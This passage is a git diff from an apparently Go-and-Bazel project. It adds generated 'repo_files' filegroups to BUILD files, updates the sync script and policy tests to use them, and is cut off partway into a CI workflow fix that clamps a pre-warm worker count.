89a811de1..a4d7442a4 100644 --- a/scripts/release_script_test.go +++ b/scripts/release_script_test.go @@ -85,9 +85,7 @@ echo '{"source":"/tmp/stale.formula.toml"}' } func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testing.T) { - skipReleaseFormulaUnderBazel(t) - repoRoot := sourceRepoRoot(t) - formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") + formulaPath := releaseFormulaPath(t) if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { t.Fatalf("beads-release formula does not parse: %v", err) } @@ -119,9 +117,7 @@ func TestReleaseFormulaCleanupStaleDoltOrphansHandlesLocalModeWithoutJQ(t *testi } func TestReleaseFormulaHomebrewCoreProcedureCoversTemplateAndBottles(t *testing.T) { - skipReleaseFormulaUnderBazel(t) - repoRoot := sourceRepoRoot(t) - formulaPath := filepath.Join(repoRoot, ".beads", "formulas", "beads-release.formula.toml") + formulaPath := releaseFormulaPath(t) if _, err := formula.NewParser().ParseFile(formulaPath); err != nil { t.Fatalf("beads-release formula does not parse: %v", err) } @@ -206,15 +202,20 @@ func releaseTestTempDir(t *testing.T) string { return t.TempDir() } -// skipReleaseFormulaUnderBazel skips tests that read -// .beads/formulas/beads-release.formula.toml under Bazel: .beads holds live -// Dolt data and is in .bazelignore, so no target can declare the formula. -// These tests run under `go test`. -func skipReleaseFormulaUnderBazel(t *testing.T) { +// releaseFormulaPath returns the checked-in beads-release formula. Under +// Bazel it comes from BEADS_TEST_RELEASE_FORMULA: .beads/ also holds live bd +// data and is in .bazelignore, so the formula is not under //:repo_files but +// in its own local repository (@beads_formulas, MODULE.bazel). +func releaseFormulaPath(t *testing.T) string { t.Helper() if bazeltest.IsBazel() { - t.Skip(".beads/ is in .bazelignore, so the release formula cannot be declared as data; runs under go test") + path, err := bazeltest.RunfileEnv("BEADS_TEST_RELEASE_FORMULA") + if err != nil { + t.Fatal(err) + } + return path } + return filepath.Join(sourceRepoRoot(t), ".beads", "formulas", "beads-release.formula.toml") } func sourceRepoRoot(t *testing.T) string { diff --git a/scripts/repro-dolt-hang/BUILD.bazel b/scripts/repro-dolt-hang/BUILD.bazel index 87208ed30..9c219dbf9 100644 --- a/scripts/repro-dolt-hang/BUILD.bazel +++ b/scripts/repro-dolt-hang/BUILD.bazel @@ -16,3 +16,25 @@ go_binary( embed = [":repro-dolt-hang_lib"], visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/repro-dolt-prod-timeouts/BUILD.bazel b/scripts/repro-dolt-prod-timeouts/BUILD.bazel index f2066005f..ee97e8e8f 100644 --- a/scripts/repro-dolt-prod-timeouts/BUILD.bazel +++ b/scripts/repro-dolt-prod-timeouts/BUILD.bazel @@ -32,3 +32,25 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/test_script_test.go b/scripts/test_script_test.go index 02d17d3e3..a1b67b65d 100644 --- a/scripts/test_script_test.go +++ b/scripts/test_script_test.go @@ -457,19 +457,18 @@ func runTestScriptPrebuiltBinary(t *testing.T, repoRoot string, args []string) ( // at the mercy of whatever test size this target happens to run under; // go test does not set this variable, so only Bazel needs the filter. // - // scripts/ci/scripts-go-test.sh (the CI driver for this very package's - // `go test ./scripts/...` run) calls beads_test_env_enter in its own - // shell before invoking go test, so this process's own os.Environ() can - // already carry an inherited BEADS_TEST_ENV_ACTIVE=1 / BEADS_TEST_ENV_ROOT - // / BEADS_TEST_ENV_DISABLE / BEADS_TEST_ENV_KEEP from that outer, - // longer-lived shell. If left in the child env below, scripts/test.sh's + // A caller that runs `go test ./scripts/...` inside an entered hermetic + // env (scripts/ci/pr-core.sh calls beads_test_env_enter in its own shell + // before invoking go test) hands this process an inherited + // BEADS_TEST_ENV_ACTIVE=1 / BEADS_TEST_ENV_ROOT / BEADS_TEST_ENV_DISABLE / + // BEADS_TEST_ENV_KEEP from that outer, longer-lived shell. If left in the child env below, scripts/test.sh's // own beads_test_env_enter call (scripts/test.sh:17) sees the // already-active guard and no-ops: no new root, no new EXIT trap - so the // directory observed by the fake binary is the outer root, which is // still alive (and rightly so: it's owned by the outer process) when // scripts/test.sh exits. That makes the "cleans up BEADS_TEST_ENV_ROOT" // subtest below fail only when this test binary happens to run nested - // under scripts-go-test.sh, even though the SF-4 fix it is guarding is + // under such a caller, even though the SF-4 fix it is guarding is // correct. Every real production caller of scripts/test.sh's prebuilt // path (pr.yml's Windows liveness/worktree-remove prebuilt steps) runs it // as the first command of a fresh GitHub Actions `run:` step, never diff --git a/scripts/workflowtags/BUILD.bazel b/scripts/workflowtags/BUILD.bazel index 06ccb766f..f5ff5af79 100644 --- a/scripts/workflowtags/BUILD.bazel +++ b/scripts/workflowtags/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["workflowtags_test.go"], embed = [":workflowtags"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index 115d75c1d..eebe95038 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -6,3 +6,25 @@ go_library( importpath = "github.com/steveyegge/beads/test/conformance", visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel index 20fb12ae9..dcf713b95 100644 --- a/test/docsync/BUILD.bazel +++ b/test/docsync/BUILD.bazel @@ -8,10 +8,30 @@ go_test( "doltpin_test.go", "init_safety_recovery_test.go", ], - data = [ - "//:docsync_files", - "//cmd/bd:init_safety_help.go", - "//internal/testutil:testdoltcommon.go", - ], + # The checkout as Bazel sees it: the docs trees, every link target, and + # every AGENTS.md and test file the agent-instruction checks resolve. + data = ["//:repo_files"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/test/docsync/agentfiles_test.go b/test/docsync/agentfiles_test.go index f37e53937..6547dc137 100644 --- a/test/docsync/agentfiles_test.go +++ b/test/docsync/agentfiles_test.go @@ -9,8 +9,6 @@ import ( "sort" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // rootAgentsMaxBytes caps the root AGENTS.md. Agent tools load it into every @@ -80,14 +78,14 @@ func contributorAgentFiles(t *testing.T, root string) []string { } // TestAgentInstructionFilesAreLinkedAndRouted: every contributor AGENTS.md has -// a sibling CLAUDE.md symlink (Claude Code skips AGENTS.md files when a -// CLAUDE.md exists above them), every nested one is listed in the root routing -// table, and every local link, backticked repo path, and backticked guard-test -// name in them resolves. Make targets are not checked. +// a sibling CLAUDE.md that resolves to it (a symlink, `ln -s AGENTS.md +// CLAUDE.md`: Claude Code skips AGENTS.md files when a CLAUDE.md exists above +// them), every nested one is listed in the root routing table, and every +// local link, backticked repo path, and backticked guard-test name in them +// resolves. Make targets are not checked. Under Bazel the checkout is +// //:repo_files, where a source symlink arrives as its target's content, so +// CLAUDE.md is checked by content: a copy that drifts from AGENTS.md fails. func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { - if bazeltest.IsBazel() { - t.Skip("walks the source checkout; Bazel runfiles hold only declared data, so this runs under go test") - } root := repoRoot() agentFiles := contributorAgentFiles(t, root) if len(agentFiles) < 2 { @@ -102,17 +100,13 @@ func TestAgentInstructionFilesAreLinkedAndRouted(t *testing.T) { agentsPath := filepath.Join(root, filepath.FromSlash(rel)) claudePath := filepath.Join(filepath.Dir(agentsPath), "CLAUDE.md") claudeRel := filepath.ToSlash(filepath.Join(filepath.Dir(rel), "CLAUDE.md")) - info, err := os.Lstat(claudePath) - switch { - case err != nil: + if _, err := os.Lstat(claudePath); err != nil { t.Errorf("%s has no sibling CLAUDE.md; add one with `ln -s AGENTS.md CLAUDE.md`", rel) - case info.Mode()&os.ModeSymlink == 0: - t.Errorf("%s is a regular file; replace it with a symlink to AGENTS.md", claudeRel) - default: + } else { agents, aerr := os.ReadFile(agentsPath) claude, cerr := os.ReadFile(claudePath) if aerr != nil || cerr != nil || !bytes.Equal(agents, claude) { - t.Errorf("%s does not resolve to its sibling AGENTS.md", claudeRel) + t.Errorf("%s does not resolve to its sibling AGENTS.md; replace it with `ln -s AGENTS.md CLAUDE.md`", claudeRel) } } if rel != "AGENTS.md" && !bytes.Contains(rootAgents, []byte("("+rel+")")) { diff --git a/test/testmainconvention/BUILD.bazel b/test/testmainconvention/BUILD.bazel index 68121c2c6..cdb841788 100644 --- a/test/testmainconvention/BUILD.bazel +++ b/test/testmainconvention/BUILD.bazel @@ -4,3 +4,25 @@ go_test( name = "testmainconvention_test", srcs = ["testmain_convention_test.go"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 247e7f244..f15db188c 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -15,3 +15,25 @@ package(default_visibility = ["//visibility:public"]) exports_files(glob(["*.patch"])) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 19e36ec2e..8c05827d0 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -12,12 +12,6 @@ _DOLT_PLATFORMS_ONLY = select({ "//conditions:default": ["@platforms//:incompatible"], }) -# DOLT_VERSION is read as text by the dolt pin tests in //scripts. -exports_files( - ["dolt.bzl"], - visibility = ["//scripts:__pkg__"], -) - # sh_test src for a second test target over an existing go_test binary (see # the script header), e.g. //cmd/bd/doctor/fix:fix_docker_test. exports_files( @@ -97,3 +91,25 @@ filegroup( for os in ("darwin", "linux") for cpu in ("amd64", "arm64") ] + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 7d95926b5..374308a3b 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -12,37 +12,9 @@ # is a test the Bazel lane does not exercise. The checker reports entries that # no longer match anything. -# The in-test `go build` of bd that this test guards does not happen under -# Bazel (bd comes in through BEADS_TEST_BD_BINARY); go test still runs it. -cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; guarded by go test -# Same: it checks the fallback `go build` of bd, which Bazel never takes. -cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; guarded by go test -# Needs TestAAAStdioBaseline in the same process; sharding splits them. -# TestMain's checkStdioAfterRun still checks every shard. -cmd/bd TestZZStdioNotLeaked skip # baseline test lands in another shard; checkStdioAfterRun covers each shard - -# Repository-policy tests that walk the whole source checkout (git ls-files, -# every BUILD file, .beads/ formulas). Bazel's runfiles hold only declared -# data, so they skip under TEST_SRCDIR; PR Core's go test runs them. -scripts TestBazelGoSrcsBlocksCurrent skip # walks the source checkout; runs under go test -scripts TestBazelNoPackagesUnderDocsTrees skip # walks the source checkout; runs under go test -scripts TestBazelNoRemoteEndpointsInTrackedFiles skip # scans git-tracked files; runs under go test -scripts TestBazelTestTagsFollowTaxonomy skip # reads every BUILD file in the checkout; runs under go test -scripts TestBazelTreeGoSrcsListsEveryPackage skip # walks the source checkout; runs under go test -scripts TestCheckTestingShortPassesOnCleanRepoTree skip # walks the whole checkout; runs under go test -test/docsync TestAgentInstructionFilesAreLinkedAndRouted skip # walks the source checkout for every AGENTS.md; runs under go test -scripts TestReleaseFormula* skip # .beads/ is in .bazelignore, so the formula cannot be data; runs under go test - -# Policy tests whose inputs (other packages' BUILD files, .github/scripts, -# tools/bazel Python) are not in //scripts:scripts_test's runfiles. Missing -# here, they turned nightly.yml's skip-parity check red (2026-10-02). -# scripts TestBazelOnlySkipsAreAllowlisted keeps this list complete. -scripts TestBazelGatedLanesNeverRetryFlakyTests skip # reads every BUILD and .bzl file in the checkout; runs under go test -scripts TestCheckShardCoverageScript skip # runs tools/bazel/check_shard_coverage.py, not in the runfiles; runs under go test -scripts TestShardScriptsListOnlyRealTests skip # runs the real .github/scripts shard scripts over the source tree; runs under go test -scripts TestProxiedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_proxied_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestCmdEmbeddedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_embedded_cmd_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestStorageEmbeddedShardManifestGeneratorNotStale skip # runs scripts/ci/gen_embedded_storage_shard_manifest.py --check, not in the runfiles; runs under go test -scripts TestShardScriptNarrowingCheck skip # reads the real .github/scripts shard scripts; runs under go test -scripts TestBazelOnlySkipsAreAllowlisted skip # parses every _test.go file in the checkout; runs under go test -scripts TestRunAllowlistedGoTestsScript skip # runs tools/bazel/run_allowlisted_go_tests.py, not in the runfiles; runs under go test +# Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), which +# Bazel never takes (bd comes in through BEADS_TEST_BD_BINARY). pr.yml's +# pr-preflight-platforms runs both on Linux, macOS and Windows ("Exercise go +# test's bd build fallback"). +cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; pr-preflight-platforms runs it +cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; pr-preflight-platforms runs it diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index 763e46264..c06af7cfa 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -21,6 +21,17 @@ Blocks in packages that are no longer listed are removed. Run from the repository root after gazelle (see `make bazel-sync`). Output is deterministic and gazelle-stable, so a clean sync leaves git clean. +Every package also gets a managed `repo_files` block: a filegroup of all of +the package's own files (`glob(["**"])` less local build and editor debris), +and the root package's aggregates every package's into `//:repo_files`. That +is the checkout as Bazel sees it, the `data` of the repository-policy tests +that walk the whole tree (every BUILD file, every test file, every tracked +Markdown file). A package without the block would drop out of their view and +pass them vacuously, which is why `make bazel-sync-check` (bazel.yml's BUILD +sync step, on every PR) fails on a missing or stale block. Trees in +.bazelignore (.beads, website, the nested example modules, agent worktrees, +node_modules) are outside Bazel and so outside //:repo_files. + With --check nothing is written: stale blocks are printed as a diff and the exit status is 1 (see `make bazel-sync-check`). """ @@ -54,9 +65,77 @@ TREES = ( BEGIN = "# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" END = "# --- end go_srcs ---" -BLOCK_RE = re.compile(r"\n*" + re.escape(BEGIN) + r".*?" + re.escape(END) + r"\n*", re.DOTALL) +REPO_BEGIN = "# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" +REPO_END = "# --- end repo_files ---" +BLOCK_RES = tuple( + re.compile(r"\n*" + re.escape(begin) + r".*?" + re.escape(end) + r"\n*", re.DOTALL) + for begin, end in ((BEGIN, END), (REPO_BEGIN, REPO_END)) +) SKIP_DIRS = {"testdata", "node_modules"} +# Untracked build output and debris (.gitignore's patterns that can appear in +# any directory) that must not become test inputs on a developer machine. No +# tracked file matches them. +REPO_FILES_EXCLUDE = ( + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", +) + +# The same at the repository root only: the git directory, Bazel's convenience +# symlinks (a glob follows them into the output tree), local binaries, +# per-developer Bazel rc files (they hold remote endpoints) and tool state. +ROOT_REPO_FILES_EXCLUDE = ( + ".agents/**", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", +) + +# Who may read //:repo_files: the repository-policy tests. +REPO_FILES_VISIBILITY = ( + "//scripts:__pkg__", + "//test/docsync:__pkg__", +) + def packages_under(root: str) -> list[str]: found = [] @@ -98,15 +177,47 @@ def block(pkg: str, tree_members: list[str] | None) -> str: return "\n".join(lines) + "\n" -def rewrite(path: str, new_block: str | None, check: bool) -> bool: - """Bring path's managed block up to date; return True if it was stale. +def repo_files_block(pkg: str, packages: list[str]) -> str: + """The repo_files block of pkg ("." is the root, which aggregates).""" + root = pkg == "." + exclude = REPO_FILES_EXCLUDE + (ROOT_REPO_FILES_EXCLUDE if root else ()) + lines = [ + REPO_BEGIN, + "", + "filegroup(", + ' name = "repo_files",', + " srcs = glob(", + ' ["**"],', + " exclude = [", + ] + lines += [f' "{e}",' for e in sorted(exclude)] + # No allow_empty: every package holds at least its BUILD.bazel. + lines += [" ],"] + if root: + lines += [" ) + ["] + lines += [f' "//{p}:repo_files",' for p in packages if p != "."] + lines += [" ],", " visibility = ["] + lines += [f' "{v}",' for v in REPO_FILES_VISIBILITY] + lines += [" ],"] + else: + lines += [" ),", ' visibility = ["//:__pkg__"],'] + lines += [")", "", REPO_END] + return "\n".join(lines) + "\n" + + +def rewrite(path: str, new_blocks: list[str], check: bool) -> bool: + """Bring path's managed blocks up to date; return True if any was stale. In check mode the file is left alone and the needed change is printed. """ with open(path) as f: src = f.read() - stripped = BLOCK_RE.sub("\n", src).rstrip("\n") + "\n" - out = stripped if new_block is None else stripped + "\n" + new_block + stripped = src + for block_re in BLOCK_RES: + stripped = block_re.sub("\n", stripped) + out = stripped.rstrip("\n") + "\n" + for new_block in new_blocks: + out += "\n" + new_block if out == src: return False if check: @@ -150,18 +261,17 @@ def main(argv: list[str]) -> int: wanted.setdefault(pkg, None) wanted[root] = members stale = [] - for pkg in packages_under("."): + packages = packages_under(".") + for pkg in packages: path = os.path.join(pkg, "BUILD.bazel") - if pkg in wanted: - changed = rewrite(path, block(pkg, wanted[pkg]), check) - else: - with open(path) as f: - changed = BEGIN in f.read() and rewrite(path, None, check) + blocks = [block(pkg, wanted[pkg])] if pkg in wanted else [] + blocks.append(repo_files_block(pkg, packages)) + changed = rewrite(path, blocks, check) if changed: stale.append(path) if check and stale: print( - f"go_srcs.py: {len(stale)} stale go_srcs block(s): {', '.join(stale)}; run `make bazel-sync`", + f"go_srcs.py: {len(stale)} stale managed block(s): {', '.join(stale)}; run `make bazel-sync`", file=sys.stderr, ) return 1 diff --git a/tools/bazel/run_allowlisted_go_tests.py b/tools/bazel/run_allowlisted_go_tests.py deleted file mode 100755 index 5111dc074..000000000 --- a/tools/bazel/run_allowlisted_go_tests.py +++ /dev/null @@ -1,193 +0,0 @@ -#!/usr/bin/env python3 -"""Run, under `go test`, the Go tests the Bazel PR-core lane does not run. - -tools/bazel/equivalence_allowlist.txt lists every Go test that PR Core's -`go test` runs and `bazel test //... --config=ci` does not run (kind "run") -or skips (kind "skip"), each with a reason. Where pr.yml's legacy PR Core job -stands down for the Bazel lane (D2 step 3), nothing else would run those -tests before merge, so this runs exactly them, with PR Core's test flags -(-short, -skip '^TestEmbedded', gms_pure_go; not -race: the build is shared -with the job's other non-race `go test` steps), and requires each entry to -have matched at least one top-level test and every matched test to have -passed: a test that now skips, fails or no longer exists fails the step -instead of passing silently. - -A package glob is refused (`go test` needs real package paths); a test name -of `*` runs the whole package. Call it through -scripts/ci/allowlisted-go-tests.sh, which gives the tests PR Core's -environment (scripts/ci/lib/test-env.sh). - -Usage: run_allowlisted_go_tests.py [--allowlist FILE] [--go GO] [--dry-run] -""" -import argparse -import json -import os -import re -import subprocess -import sys - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from equivalence import DEFAULT_ALLOWLIST, load_allowlist # noqa: E402 - -# The build tag(s) PR Core's test flags apply (tags come from .buildflags' -# GOFLAGS too). Factored out so --compile-only's `go test -c` command below -# can reuse it directly instead of slicing GO_TEST_FLAGS (F7b review fix N1: -# `GO_TEST_FLAGS[-2:]` silently assumed these were always the last two -# elements of GO_TEST_FLAGS; any future reordering or addition there would -# have fed `-c` the wrong flags with no error, just a tag-less compile). -BUILD_FLAGS = ["-tags", "gms_pure_go"] -# PR Core's test flags (scripts/ci/pr-core.sh), less -race, -p/-parallel and -# -timeout's package count. -GO_TEST_FLAGS = ["-short", "-count=1", "-timeout=30m", "-skip", "^TestEmbedded", *BUILD_FLAGS] -# Tests an allowlisted test needs in the same process, run alongside it: -# TestZZStdioNotLeaked compares against the streams TestAAAStdioBaseline -# recorded (and skips without it), which is why Bazel's sharding skips it. -COMPANIONS = {("cmd/bd", "TestZZStdioNotLeaked"): ["TestAAAStdioBaseline"]} -NAME_RE = re.compile(r"^[A-Za-z0-9_*]+$") -PKG_RE = re.compile(r"^[A-Za-z0-9_./-]+$") - - -def plan(entries): - """{pkg: [entry, ...]} in allowlist order, or raise ValueError.""" - out = {} - for e in entries: - if not PKG_RE.match(e["pkg"]) or e["pkg"].startswith(("/", "..")) or "*" in e["pkg"]: - raise ValueError(f"allowlist line {e['line']}: package {e['pkg']!r} is not a literal package directory") - if not NAME_RE.match(e["test"]): - raise ValueError(f"allowlist line {e['line']}: test {e['test']!r} is not a Test name or glob") - out.setdefault(e["pkg"], []).append(e) - return out - - -def glob_re(name): - return re.compile("^" + ".*".join(re.escape(p) for p in name.split("*")) + "$") - - -def run_regex(group): - """-run selector for a package's entries, or None for the whole package.""" - if any(e["test"] == "*" for e in group): - return None - names = [] - for e in group: - names += COMPANIONS.get((e["pkg"], e["test"]), []) + [e["test"]] - return "^(" + "|".join(".*".join(re.escape(p) for p in n.split("*")) for n in names) + ")$" - - -def top_level_results(output): - """{test: final action} for top-level tests in `go test -json` output.""" - res = {} - for line in output.splitlines(): - if not line.startswith("{"): - continue - try: - ev = json.loads(line) - except ValueError: - continue - test, action = ev.get("Test"), ev.get("Action") - if test and "/" not in test and action in ("pass", "fail", "skip"): - res[test] = action - return res - - -def check(group, results): - """Problems for one package's entries given its top-level results.""" - problems = [] - for e in group: - matched = sorted(t for t in results if glob_re(e["test"]).match(t)) - if not matched: - problems.append(f"{e['pkg']} {e['test']} (allowlist line {e['line']}): matched no test that ran") - for t in matched: - if results[t] != "pass": - problems.append(f"{e['pkg']} {t} (allowlist line {e['line']}): {results[t]}, want pass") - for t, action in sorted(results.items()): - if action == "fail": - problems.append(f"{group[0]['pkg']} {t}: fail") - return problems - - -def main(argv=None): - ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) - ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) - ap.add_argument("--go", default="go") - ap.add_argument("--dry-run", action="store_true", help="print the go test commands only") - ap.add_argument( - "--compile-only", - action="store_true", - help=( - "compile each allowlisted package's test binary (go test -c -o " - "/dev/null) instead of running it; used by main.yml's " - "blacksmith-go-build-cache seed to warm the non-race GOCACHE for " - "exactly the packages this script's real run needs, with zero " - "risk of the package list drifting from the allowlist (F7b)." - ), - ) - args = ap.parse_args(argv) - - if not os.path.exists(args.allowlist): - print(f"{args.allowlist}: no such allowlist", file=sys.stderr) - return 1 - entries, errors = load_allowlist(args.allowlist) - if errors: - print("\n".join(errors), file=sys.stderr) - return 1 - try: - pkgs = plan(entries) - except ValueError as err: - print(err, file=sys.stderr) - return 1 - - if args.compile_only: - problems = [] - for pkg in pkgs: - cmd = [args.go, "test", "-c", *BUILD_FLAGS, "-o", os.devnull, "./" + pkg] - print("+ " + " ".join(cmd), flush=True) - if args.dry_run: - continue - proc = subprocess.run(cmd) - if proc.returncode != 0: - problems.append(f"{pkg}: go test -c exited {proc.returncode}") - if args.dry_run: - return 0 - if problems: - print("\nFAIL: compiling allowlisted packages' test binaries:", file=sys.stderr) - print("\n".join(" " + p for p in problems), file=sys.stderr) - return 1 - print(f"\nok: compiled {len(pkgs)} allowlisted package test binaries") - return 0 - - problems, ran = [], 0 - for pkg, group in pkgs.items(): - cmd = [args.go, "test", "-json", *GO_TEST_FLAGS] - sel = run_regex(group) - if sel is not None: - cmd += ["-run", sel] - cmd.append("./" + pkg) - print("+ " + " ".join(cmd), flush=True) - if args.dry_run: - continue - proc = subprocess.run(cmd, capture_output=True, text=True) - for line in proc.stdout.splitlines(): - try: - out = json.loads(line).get("Output") - except ValueError: - out = line + "\n" - if out: - sys.stdout.write(out) - sys.stdout.write(proc.stderr) - results = top_level_results(proc.stdout) - ran += len(results) - problems += check(group, results) - if proc.returncode != 0: - problems.append(f"{pkg}: go test exited {proc.returncode}") - if args.dry_run: - return 0 - if problems: - print("\nFAIL: the Go tests the Bazel PR-core lane does not run did not all pass here:", file=sys.stderr) - print("\n".join(" " + p for p in problems), file=sys.stderr) - return 1 - print(f"\nok: {len(entries)} allowlist entries, {ran} top-level tests passed under go test") - return 0 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/tools/docsmint/BUILD.bazel b/tools/docsmint/BUILD.bazel index 23dd7578d..da07e7a9b 100644 --- a/tools/docsmint/BUILD.bazel +++ b/tools/docsmint/BUILD.bazel @@ -25,3 +25,25 @@ go_test( ], embed = [":docsmint_lib"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- From 82872a81a5c50e605cd51404e6045b020da690d3 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:35:02 +0000 Subject: [PATCH 122/325] fix(ci): rbe pre-warm survives a failed gh run list under bash -e, and clamps an over-long worker count (#7162) (#7163) Actions runs the dispatch step as bash -e, so a failing gh run list ended the step at the assignment and the could-not-read warning never printed. The assignment now tolerates the failure. A RBE_PREWARM_WORKERS too long for the shell's integer compare slipped past the max-4 clamp and the loop dispatched without bound; two or more digits is now decided in the case (all zeros stays the kill switch). The behaviour test runs the script with bash -e, as Actions does, under a 30s deadline, and pins the clamp. Co-authored-by: Claude Fable 5.1 --- .github/workflows/bazel.yml | 12 +++++++++++- scripts/bazel_rbe_prewarm_test.go | 27 ++++++++++++++++++++++++++- 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index b63c09304..a01f57943 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -621,6 +621,16 @@ jobs: case "$n" in '') n=1 ;; *[!0-9]*) n=1 ;; + # Two or more digits is over the cap unless they are all zeros + # (still the kill switch); deciding it here keeps a string too + # long for the shell's integer compare from slipping past the + # -gt below unclamped. + ??*) + case "$n" in + *[!0]*) n=4 ;; + *) n=0 ;; + esac + ;; esac if [ "$n" -gt 4 